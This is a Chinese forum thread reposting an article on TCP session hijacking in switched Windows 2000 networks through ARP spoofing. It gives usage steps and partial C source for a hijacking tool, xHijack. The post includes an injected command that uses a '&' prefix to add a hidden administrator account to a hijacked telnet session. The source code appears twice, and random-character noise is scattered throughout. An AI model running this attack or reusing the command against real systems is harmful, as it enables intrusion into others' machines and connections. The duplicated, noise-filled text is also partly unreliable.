QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4258|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
2 J& X- }4 O7 N) r0 |, RHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 + P6 c/ S  q* Z8 S) b" c6 ^
第二步是ARP欺骗,具体原理我就不说了。
3 I- A6 e3 [& \+ v第三步就是开始劫持啦。 ( d5 j0 _7 `3 ~4 U+ O! x: T

9 P/ a% x( U1 O3 T我写了个程序xHijack可以实现第二、三步功能,使用如下:
" F& N0 {) `1 Y- D- a0 g: {% g
Usage: xHijack ServerSide ClientSide & _3 O' R* ?' z. g

9 ^# s! S/ {% t( r9 d* \& N2 j下面根据三种不同的情况分别说明如何输入参数: " z4 t8 w' d* I0 M7 \+ [
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 4 e% Q' n3 l, Y+ I* J0 p
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 * s7 i4 R, t# s; C1 I
c:\>xHijack 192.168.0.2 192.168.0.3 & @9 P/ t- @" t4 [7 l" H
劫持前数据流程:server <--> client
- e  I3 N9 K6 Q4 @& ?+ g. \# O劫持后数据流程:server <--> hijacker <--> client
) W$ @8 X7 e/ }( }9 P
$ b. Q- t& m0 l+ t  H<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
2 W  Y8 x& `2 \* r- K# P假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 / t; Z' u5 |% E4 y
xHijack 202.202.202.2 202.202.202.1 , \& p5 u& x) S2 V( X# ~. J
劫持前数据流程:server <--> gw <--> routes <--> client
: S! d9 W" O9 _' X/ E劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
1 ~; A+ z2 a9 o. ?/ K3 r* x" ^
+ i5 K9 ]& F! R8 L! P2 h0 G<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
6 v8 ]) h/ g* ?+ T% q) M假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
7 a) L3 K% ^% K; K) O. lxHijack 192.168.0.1 192.168.0.2
4 [) I1 m5 x# X0 {5 {& \: N劫持前数据流程:client <--> gw <--> routes <--> server
: s; |& m) m- t. Y( l劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server 9 K  w4 ~5 q5 c1 j$ j: Y
5 {7 l: c# }8 a# Q+ \7 x) _  A! o
输入两个参数后,会提示你选择网卡,然后会提示
: Q0 B) i& D2 _* t& W1 fl        <-- List all connections
5 j& j# O1 `3 {1 A/ a2 q$ J! f0 br x       <-- Reset the number x connection
, C0 y+ A* M( X- g9 w9 D3 Cw x       <-- Watch the number x connection 5 ~8 O/ i' e5 f, L! `8 d
h x command   <-- Hijack the number x connection to execute command   s7 Y: v3 [/ B3 n% l; y
7 U- q# K9 m: S" ?, _( w1 r% Y
list、reset、watch命令我就不解释了。 8 m+ x8 c0 L' `% N1 v$ K, Y
假如现在有如下连接
% y0 f" d  S3 S(1) 202.202.202.202:23 <--> 192.168.0.3:2345
) U3 B7 _! O* }0 B我们想要劫持这个连接运行我们的命令,输入
1 F! _; }% M5 j6 H2 y, w! HxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" 1 d4 t3 s' v' K! Q1 J5 X
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 % q* m+ A3 B: f! \0 n
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 ) _6 V9 b# f) |. Z
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。 $ u( E9 N( B- K" z3 M0 A7 D% H$ T- @
6 F+ E- m4 E& H( E3 _
劫持的流程如下: ( S6 k; G% I% l  `" K- ]
<1>伪装成Server给Client发一个rst包
' K5 p, W4 V5 _2 {% o<2>伪装成Client给Server发了一个数据包
, m" Y: C& {4 j  D<3>Server回一个ACK包给client + w- {, W% B( d
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server - k' P. U$ w# T  R$ V. v" U2 O  O! i
# F3 K) l1 o6 o% N. `
这样的话,我们只能发一个伪造的包,但我想已经足够了。 + s/ L) m% A! J* Y9 h1 H  E7 P6 a
想要一直劫持那个连接也可以,如下
1 z  L4 \4 ]+ q3 \<1>伪装成Server给Client发一个rst包 ( n$ J  W5 s+ c/ v% P+ w$ s0 m: O
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA 5 I  v: y2 Z% B
<3>伪装成Client给Server发了一个数据包
- C4 T' K: R6 L) H9 T5 M  V! O- u<4>Server回一个ACK包给client
$ [/ K) G+ c: ?7 b/ T<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
, f0 \5 A1 ^( ]1 e( K1 p  Q<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 1 a; P6 O& x2 [4 ?/ N
* o0 Z, U* z: \
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
& ^" Y) _; q$ C( e# _6 e: [6 [* W1 c( n3 ^  v. u0 t: I- d

# I9 ~8 y, e+ i+ Z刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
6 {5 ~5 g3 ]7 e( L' h' k/ F/ ]还请各位多多指点。
+ a; g% q- s( w8 |3 g8 c8 I# s; t5 l7 q3 D5 }! N: j0 Z; h) b5 i' B
BTW:我没有空间,编译好的程序没地方放:(
6 l3 Z" k, q( U3 ^5 a
7 q+ u6 X4 ]3 l/ B; A7 s0 S
% p2 X* o5 C1 ?3 N7 ^" Q$ H, M4 v) w) E  S" g. v8 }
参考资料
4 t, n) I' U1 Z( Z( L* G<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
# q* {5 b" X' X& _, [<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
1 w" L7 i! G: T2 g- F" X: x2 P1 Y8 v/ q! a2 ]7 P9 \! n4 W
& [% ^& r7 A  Q/ u
以下是程序代码
& G/ Q9 N2 X3 _9 P+ D---------------------------------------------------------------------- ; F$ c. `  I: g# J# E
/*----------------------------------------------------------------------------- - F# I7 Z- `; {! Y- U
File      : xHijack.c ' D: \* P# m- Z' {
Version      : 1.0
0 ~2 L8 m) l  i' qCreate at    : 2002/8/12 0 c+ w9 O3 {6 K, S2 k( Y. E/ S" E1 S
Last modifed at  : 2002/8/19
. l& q2 G4 K6 O4 @' {! M2 G3 b1 pAuthor      : eyas
; o$ S2 X: x0 [5 s$ V% W3 y/ @Email      : ey4s@21cn.com - g4 D6 v" _2 V
HomePage    : www.ey4s.org / k8 x0 R% Z, f. Z4 g4 c$ \% `" R
感谢refdom和shotgun发布的源代码,使我获益非浅。
; F2 S2 d$ \# NIf you modify the code, or add more functions, please email me a copy. 3 I  O% l0 U2 P8 n) f/ C
3 a5 ~8 b4 I% H' B1 u8 q& X8 p% K
备注: " q& i- n+ E; f9 [
<>没有考虑IP头、TCP头超过20字节的情况 0 i, w  K* V: ]" H3 b, A# L# j
<>没有考虑数据包分片的情况 " k  k) f0 D9 [$ g9 d
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
9 k$ s4 `. R- L2 v显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
. t7 ^3 [3 j0 p0 ]9 w" N题了。
8 A& q: o# }$ S2 I, `8 Z9 B
' v" p" ?+ [% s- T也许下一版本会修正这些问题,也许不会有下一版本了。 : H3 H3 k2 B. S& T( A" |+ Z

( ~7 d, h, A& K# G3 _-----------------------------------------------------------------------------*/ + b- R+ ~1 [9 e; ?& M$ Q  m
#include
9 K/ e9 l. c0 Q% p6 X& N' Z/ O: X' q#include
: q. O; H4 w( F, u5 u#include
1 b4 Z5 \# O2 x% _  q. z#include
: ~0 J. a9 e" t1 P#include   `+ O. J2 o! u9 A2 j- K" l) N
#include ! ?2 J/ q8 K9 V7 B- H- F' J% D
#include 7 T4 `. ]; Z5 R9 g

% N9 x+ W% S4 n  {#pragma comment (lib, "packet") " P# W6 s4 U0 m
#pragma comment (lib, "iphlpapi")
+ o3 d* r7 r8 I3 N#pragma comment (lib, "ws2_32")
- O1 [+ t* t+ y) o& r$ ]
7 B9 J) Q% g! p/ {# D- t: {5 w# D9 f#define Max_Num_Adapter 10 1 u: q( N8 s: W: ^1 _
#define Max_Num_IPAddr  5
, |3 [" Z/ A) E#define EPT_IP      0x0800      /* type: IP  */
9 ~2 y% _* \1 d#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
- y- H6 I4 b8 b, \" C#define EPT_ARP      0x0806      /* type: ARP */
0 c1 x& _) e* {- V0 I6 R
3 t+ ]- O4 r  j4 [) x#define  ACTION_NONE    0 " D: {2 J! o! ^# x9 L* Q  z
#define  ACTION_WATCH  1
! V- U6 G% V8 e' Y#define  ACTION_RESET  2 ! r0 F$ u" _& T5 X" ]: U; |
#define ACTION_HIJACK  3 $ D. m6 Y4 Q1 t. m2 j

% N) }7 `7 `' y2 b$ f/ [$ r+ P/*以1字节对齐*/
6 p0 j5 v% v9 B# j* y#pragma pack(1)
  E* ~; M) e2 I8 E  G# F( T, ^typedef struct _ehhdr
. w) G( i, c5 G# l- S{
; N: e1 Q( k: j, J' K  unsigned char  DestMAC[6];
3 ?, ]- [- m' V' A$ P  unsigned char  SourceMAC[6];
+ M- [. m1 \& m! D  unsigned short  EthernetType; : z4 u4 d/ Q+ V' G. f
}EHHDR, *PEHHDR;
( J; E9 z" _& K% |& j4 X
2 f2 }- E3 y! S1 d! ~6 xtypedef struct _iphdr        //定义IP首部
9 W7 Q. [* ], j{
5 m7 t4 Y: J, d" b; J+ `  unsigned char h_verlen;      //4位首部长度,4位IP版本号 ' O! E0 R/ u! ^
  unsigned char tos;        //8位服务类型TOS % F7 G. Q# t$ E. a/ k
  unsigned short total_len;    //16位总长度(字节) . J  F1 y7 {  p  C+ i
  unsigned short ident;      //16位标识
, c) M/ F" Y* g3 {! B  unsigned short frag_and_flags;  //3位标志位
& e, l- N7 @% [$ J  M# q  unsigned char ttl;        //8位生存时间 TTL
/ v% i# V' J; o  unsigned char proto;      //8位协议 (TCP, UDP 或其他) " a: ^* \5 {( s1 C/ x3 L
  unsigned short checksum;    //16位IP首部校验和 - _; Y; d* ?4 ~4 k
  unsigned int sourceIP;      //32位源IP地址 - m4 d- l. @  e; W% w% A( p
  unsigned int destIP;      //32位目的IP地址
1 G' k5 Y4 y# g7 F}IPHDR, *PIPHDR;
& d  a/ Q$ o$ L3 ~$ |' m
5 \# m) D- h( }" s4 E6 ]typedef struct _tcphdr        //定义TCP首部
9 P) n0 h! q3 ?. W, v# Q; }3 ^+ k5 l{
' k3 E# d' L- ~7 `/ {" t* W  USHORT th_sport;        //16位源端口
% B4 M& O  B* J! _6 z  t) ?# [" x5 p# j  USHORT th_dport;        //16位目的端口 " u+ \# F' N, x, v8 R5 p9 N" I
  unsigned int th_seq;      //32位序列号
5 h5 k: Z: n2 A) ]  unsigned int th_ack;      //32位确认号
: Z. h# K7 W, M1 v; J5 R  unsigned char th_lenres;    //4位首部长度/6位保留字 8 g* r3 b" P$ S# h
  unsigned char th_flag;      //6位标志位 , H' e- y! ]9 E7 }. q9 I' m1 W
  USHORT th_win;          //16位窗口大小 5 D7 C, W2 {* S9 a0 t% ^
  USHORT th_sum;          //16位校验和   Z6 @3 ]8 w0 h+ \8 ~: g
  USHORT th_urp;          //16位紧急数据偏移量
! z, o6 V% l: E, \0 o}TCPHDR, *PTCPHDR; 4 [+ ~# l) n' w, K( m! k

( S9 i6 x1 m/ |typedef struct _psdhdr        //定义TCP pseudo header
4 s. P6 K5 I" y# O- X3 p. T2 H/ Z{               
7 \' s+ l7 y; ]6 a$ [  unsigned long saddr;
* s: h( j6 e0 {% i  unsigned long daddr;
0 @7 d/ |& e1 j% b- }  char mbz; " X  C/ u6 ]& _0 P& ~
  char ptcl; % Q+ T$ u3 N* Z7 D2 P
  unsigned short tcpl;
0 x0 H& C9 P9 o/ X4 e, p- v}PSDHDR, *PPSDHDR;
! Y% c1 @; T( Q: w# W- ?" T2 j$ ~3 u
typedef struct _arphdr # {! a+ C4 L# r7 v. W( I, g
{ * t  A4 \, V  |
  unsigned short  HrdType;//硬件类型 , V0 O4 h5 T& ^3 V; q7 ]  H) |
  unsigned short  ProType;//协议类型 7 N; F1 E9 M/ [# o- h: {8 [
  unsigned char  HrdAddrlen;//硬件地址长度
7 F  F% C* h9 b  unsigned char  ProAddrLen;//协议地址长度 6 X/ E( U* `9 T/ n+ I) l
  unsigned short  op;//operation 5 I. l& d& W7 `' c
  unsigned char  SourceMAC[6];/* sender hardware address */ / T% n8 I) E( O, B7 S' c/ s
  unsigned long  SourceIP;/* sender protocol address */
4 ^9 `. k' t) r  unsigned char  DestMAC[6];/* target hardware address */
! D+ K0 M% ~# ]! s9 ?4 v' c  unsigned long  DestIP;/* target protocol address */ $ r2 P( S3 B- a: S! {  Q0 s% ^
}ARPHDR, *PARPHDR;
  }0 M' @# P6 m6 P3 s
& Q* a) s  z" m- d) Q* J) Ktypedef struct _ArpPacket
7 [5 q6 Z, o6 s- Y6 Q$ ?4 K8 v{ 4 q% T1 N) u+ I1 B$ r2 X
  EHHDR  ehhdr; + l/ I) `, c* ^
  ARPHDR  arphdr;
; A; m0 r% \  s; q8 ?# O}ARPPACKET, *PARPPACKET; ; l) r4 o7 l: \- i7 H
! T$ S& n& {9 r+ i/ ?. i
typedef struct _tcppacket
; I; ~+ O1 Y; [" }7 g$ F' v{
" U" S) i+ m7 S/ K2 ~8 G  EHHDR  ehhdr;
) Y5 O6 `( }: j' P+ p( b; s+ t$ R  IPHDR  iphdr;
2 q# z! e4 c# q  k1 K  TCPHDR  tcphdr;
! x+ }. K" V7 |- ^0 Y# V5 X5 `}TCPPACKET, *PTCPPACKET;
7 d2 B; R) h' e+ Q
  ^1 ?- s, ^" Y7 y! v1 W5 ttypedef struct _conninfo " f3 t6 O, M1 z/ f/ ^
{   _. k& H1 M8 R$ e' P6 B
  DWORD  dwServerIP;
" {: R/ q$ O4 m2 v  USHORT  uServerPort; ! p6 V9 ]; R, Q0 i3 M5 K
  DWORD  dwClientIP;
* U4 R/ }$ @% ]& W8 q4 T/ f4 _( J  USHORT  uClientPort; ! @- i$ z! ~  j3 Q/ m
  DWORD  ident;//标识 2 a: |7 |) e/ a4 K* z' b. a
  BOOL  bActive; ( i& n" j/ M& U; m7 R+ R
  struct  _conninfo  *Next; * l$ F1 b9 }5 V) Z' p1 }6 W' V
}CONNINFO, *PCONNINFO;
2 Z& `7 u3 K1 [: l7 d  m
# F. j  `; S1 x//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 3 s% ]$ f! Y: Z+ H; h
        g_ClientSideIP,
2 E+ s; s/ A! d* |& ?        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 2 C9 Q( a4 `4 e. V- Q* P3 S
        g_TotalIP = 0;// # u+ M* |9 `2 B# t9 c5 u& A5 k5 m
unsigned char  g_szOwnMAC[6];//本机MAC地址
& N4 r: I( N; v4 O; Aunsigned char  g_szClientSideMAC[6];
( k% k( n" g& |2 G6 Qunsigned char  g_szServerSideMAC[6];
: c/ ^- Z2 P* ^) b: a0 \& ychar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 , e) E8 _8 L1 P$ ~
LPADAPTER    g_lpAdapter; & L' ~; [3 U* \$ M7 s9 B7 _3 l
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread 0 P" j8 k3 o$ H5 v7 n3 r
HANDLE      g_hThread[4]; & A' H, A( K$ f* R" S, U4 h+ Y
char      g_szCommand[128];//command to execute after hijack
: g# P: m6 M' ?; A1 fDWORD      g_dwAction;//action type 0 q5 M2 q+ L0 P2 d) w) l
DWORD      g_dwCtrlConn;//action 所控制连接的标识
; o% E' L3 A; K. D6 _8 c) MDWORD      g_ident;//节点标识,递增 7 W& X" t9 f- n- |% f' ~; V, \
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
7 ^& F: y' i& k5 B        g_pConnHead = NULL,   u4 J, e7 C) ], d
        g_pConnLast = NULL; $ V0 s4 o/ U* C6 ~
char      g_szSendPacketBuf[1514];
5 N9 s) W0 ~" \2 [LPPACKET    g_lpSendPacket; 6 z6 }# g, d% P5 X: ^- {6 ~
//函数
  W' J6 t7 C6 l2 P. Fvoid      usage(void); 4 W9 B" o; q: K# d! B
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); . b: J- R# Z& U# }
void      ListAllConnection();//列出当前所有的连接 , Q5 o0 V" a, u5 p3 f+ P, [& U% W
void      ResetActionAllFlag();
) s" y& O! C* |$ Y+ ^0 PUSHORT      checksum(USHORT *, int);
5 m  F4 f5 o8 `7 SBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 8 |) U- l/ q7 V5 [# a3 ]8 }) @
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
* d4 F, U1 N2 a& aLPADAPTER    InitAdapter();//初始化一些参数和全局变量
1 W* d% z2 ^  @BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 - S# |1 H, e' v7 G  F) h& p: p
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
% c) c! [. e6 V, h; E& kDWORD      GetConnNum(char *, DWORD, DWORD *); / y& j1 Q9 ]( Z4 Q0 I
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 0 I5 w0 i$ \5 j5 t, P9 t, j
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 / i2 G1 U) |- A2 p5 r
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
) J# i0 {) _9 d/ ?+ ^/ NDWORD  WINAPI  InterfaceThread(LPVOID);// $ a( |- a) I6 o' [/ a3 ?+ J
BOOL  WINAPI  CtrlEvent(DWORD); & g. K1 W% G& [( D0 J- |. k7 ?
0 V% Q6 Z& f% [  K5 B
" a/ f4 W/ x% {. E5 L5 P
" E5 u; ?+ g5 W8 Z5 L" s! Q
int main(int argc, char **argv) 5 f5 a5 X- l3 S# h( {. h
{ $ S2 b. e9 E( T9 y1 ~
  struct    bpf_stat stat;
& i' W7 w2 w  T  int      i;
# D0 s$ O2 i/ d& X9 G- d5 ~/ A& U$ k7 B+ L
  usage();
8 T  S6 G" w  H) R2 t1 E  if (argc != 3) return 0;
# X& h, u% E: _  //取得参数 2 |* ~  ]1 P- ?' s, z7 s
  g_ServerSideIP = inet_addr(argv[1]); , s& P. r/ B5 R/ [' H0 X% {
  g_ClientSideIP = inet_addr(argv[2]); . E/ }. e4 H; r( G& |
  //初始化adapter & 一些全局变量 3 ^1 F9 u. N% R# p! l2 g2 Y
  g_lpAdapter = InitAdapter();
  y8 \& f8 X2 c# q% j2 n1 O! P- I  H  if(!g_lpAdapter) return 0; ( Q3 w7 Z# ?+ K) x/ k
  //get ServerSide MAC & ClientSide MAC
2 ^4 E& x2 O7 E" H! e  [  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; ( v" b' Q7 d7 @8 }" T
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; * `+ V/ U, a1 [4 r5 ^
  //create arp spoof thread     * @8 t3 o/ W1 v9 X1 Q
  i = 1; - V4 r0 j1 m. J
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
+ B* j! s/ U. O7 n8 `! J6 h  Sleep(500);
$ ?$ ]/ f0 I# k. D# {( e  i = 2; : z; t8 K# q5 R$ L' g
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);   p3 D$ z; C3 g( W& r5 A4 [6 Q
  //create analyse packet thread ' q+ e' E% u6 N, u# c
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); ; G. {, Z6 ^) w6 N# e, `% q
  //create interface thread
! j* ~( ~+ e* L& u, X, O+ ~  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); . G7 s( D" O0 ^
  //set console ctrl handle : j1 s* }1 t9 e. Q6 M& }/ r
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ' Q. @& B; w" v; \. `' |# e& r( C
  {
) u& M3 y1 l- u: S  Z) n    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); / _  {9 X4 @* _. s
    return 0;
  M8 F7 U: ]( g/ V7 W/ }$ L  }
& n* v5 G' W. o% c  //wait for any thread exit 1 S+ J; P0 S+ u4 Q" m' i
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
$ g. j! q9 t! G0 e9 G9 h  //print the capture statistics 8 l+ U) j6 t4 @
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
8 _% |3 T# Z; n    printf("Warning: unable to get stats from the kernel!\n");
( l- _( O, d4 E' m) s3 ~$ v9 I  else
6 Y. y. J* F* ~' R0 I& H( h    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
- E1 @. A- ?  B5 {1 v) g8 p# v  //free resource   4 [# q6 A* L0 F6 B) R: s
  PacketFreePacket(g_lpSendPacket); 6 z4 }- g$ ^$ ^3 d
  PacketCloseAdapter(g_lpAdapter);
5 h4 Y8 j; {6 f& a. W8 E/ u  return 0;
4 }; J  }4 F3 N3 X2 O}
) _, H' K, K2 t3 J2 N9 e3 j! a. s$ y
0 H' r: _2 u" _. F# B0 C+ B$ t) c//
; }% ]! U- D9 M; w+ x//功能:重置所有于ACTION有关的标志 0 n$ n, A7 M4 V2 k1 [
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
% A9 ~) E0 f: x* J# O& `! K# m. ^9 t        g_ClientSideIP,
" o& t* b3 \6 t+ q6 V% z        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
) h# R$ w  j0 e/ P; H+ R7 V        g_TotalIP = 0;//
# A: C/ `6 g; V% u$ Ounsigned char  g_szOwnMAC[6];//本机MAC地址
( ]. M1 M  @3 Wunsigned char  g_szClientSideMAC[6]; $ N3 ^+ L8 x6 O9 T# y( e
unsigned char  g_szServerSideMAC[6];
/ s# o& m  a* b! f. p0 _# M0 J/ ]char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
) A; r9 S; d: `0 Z$ e3 z2 cLPADAPTER    g_lpAdapter; ! E9 i/ |0 x% e5 l/ n" @
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread * d3 V$ x3 j, Y2 E, d1 T
HANDLE      g_hThread[4];
( p1 s8 t& ]% V- E, Qchar      g_szCommand[128];//command to execute after hijack ) U- G7 ]1 D& Y5 l4 O6 i
DWORD      g_dwAction;//action type $ V7 I- M/ V2 {% Q' [
DWORD      g_dwCtrlConn;//action 所控制连接的标识
, y. i" A) r: W& m0 XDWORD      g_ident;//节点标识,递增 8 d: s1 i+ n$ q# q* d: |& @
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 ( C2 Z! ^- v$ }( _$ w0 T7 ~2 x3 M
        g_pConnHead = NULL,
, `  H3 O( f6 b        g_pConnLast = NULL; - m- i' r$ d0 l: x( H
char      g_szSendPacketBuf[1514]; . c' A  D# o1 r( P# y; n- `
LPPACKET    g_lpSendPacket; 6 D" F( p' L6 U5 m1 o+ t
//函数 . ^+ E8 _6 u9 E. ?& b: \/ w. K
void      usage(void);
  C: u4 z/ x, q% ]* {0 M- avoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 8 Z( I2 `1 T& E% Y' N- M
void      ListAllConnection();//列出当前所有的连接
5 W& f  T2 T% |0 V& Hvoid      ResetActionAllFlag();
  j& b) q' }: b' `USHORT      checksum(USHORT *, int); 2 Q; V6 ~9 L) C3 Z7 Y  i
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
1 A0 I0 C3 |/ q+ rBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
5 q0 e( W. y; s+ k% h( r- S+ mLPADAPTER    InitAdapter();//初始化一些参数和全局变量 $ X& ]$ @6 p$ b; o! \: C$ P# c* T
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
! K' N' I. s6 R7 C9 bBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 7 n* W$ ~9 |# j- a  Z
DWORD      GetConnNum(char *, DWORD, DWORD *); + F+ d4 @* P7 ~+ N- K. I
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
! X0 [: T4 w& X9 s7 uDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
5 ]/ A+ h8 s- Q. j4 c& N1 X% ADWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 . a$ `. _% u- U7 K
DWORD  WINAPI  InterfaceThread(LPVOID);//
5 T8 h& f' K5 N# \/ w: yBOOL  WINAPI  CtrlEvent(DWORD);
) E  P* |. D1 q, ~; a) P; q0 @/ i: T! C) A3 u5 ~. q

8 @" Y# _4 S8 Q8 T# O
: B+ n! P4 v( I/ h( w; sint main(int argc, char **argv) ; e  [. Q% Y, M  \8 L  |7 x
{
( B# M$ Q, x* X( O, s( ]  struct    bpf_stat stat;
! U, H% ?, l5 c  int      i; 1 L. y; |3 V8 r6 ~, A$ ^# D4 I' @
9 J/ y- r* r) t) S7 _
  usage();
( d6 G9 _2 Z4 }2 }2 P+ \  if (argc != 3) return 0; 8 [" L# m* t$ e
  //取得参数
/ M6 q6 _! w$ a1 O  g_ServerSideIP = inet_addr(argv[1]); 8 C# B7 e1 h6 g, B
  g_ClientSideIP = inet_addr(argv[2]); ; C% i) S* N$ P5 z" x
  //初始化adapter & 一些全局变量
7 N; k- J0 Z9 G  N0 w- t. p" @  g_lpAdapter = InitAdapter();
- r3 G' d+ \1 Z1 O6 t  if(!g_lpAdapter) return 0;
$ C4 q) h* Y/ a: I' x! u  //get ServerSide MAC & ClientSide MAC " K' B6 h/ f8 z# U1 g
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
4 w# X, [, t) [9 z( S7 H  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
5 U2 A" d2 a  i/ K: d0 B  //create arp spoof thread     
  Y6 W& B! l6 N% m7 |9 M  i = 1;
( [, x9 @3 w. N" r, ^. p, b8 x  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ! V2 H  j/ f0 u5 z8 H
  Sleep(500); 1 |0 Y7 S1 f+ K; F4 S
  i = 2; ' X1 v5 l2 n' M* R
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ( f) R% T' o/ t( \
  //create analyse packet thread 2 ?7 }5 j3 P+ W
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
0 U% C- s5 T9 g3 }- a% H  //create interface thread
/ L5 F( {5 w9 K8 K" ~; T6 w  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); : [( e- i: h4 V2 }5 ~! D% B
  //set console ctrl handle
- a0 K5 a  J' j. X: ^  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) - n$ I8 f9 `' {3 S/ x6 [
  {
% ]- N. a0 _' I* E' l    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 7 q2 L  `( M! L6 d. d. V6 h
    return 0;
* O0 b8 L0 [6 o1 ^9 u  }
$ v3 n- ^( I: P8 A; y, L  //wait for any thread exit
! C# |6 G) T5 V/ I7 j  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 1 M$ [8 \: v+ @- f7 w  }8 I0 c
  //print the capture statistics
$ B) s3 A* h7 I4 m# H7 G$ u  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)   H7 J. D( x' W+ C9 d' s* @0 A2 c
    printf("Warning: unable to get stats from the kernel!\n");
& p* x6 K7 I* I8 Y8 S1 {& A6 S  else $ x3 l- a+ n. t3 F9 T* h0 M
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
, p7 e( l0 l5 x: t1 l3 @  //free resource   
& V' K0 Z: R& u; I4 [0 f/ x! i  PacketFreePacket(g_lpSendPacket);
% a0 z; s1 }+ N1 a$ r/ x  PacketCloseAdapter(g_lpAdapter); 9 G/ W6 I# V' l  }
  return 0;
) K1 @+ N# {* X3 H} . k) A) G$ R* V, `' q6 J4 _

; Q( k( M+ p8 V. Q//
- T3 H! t) S1 u//功能:重置所有于ACTION有关的标志 - e6 e! \* `+ G4 X& t' D
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

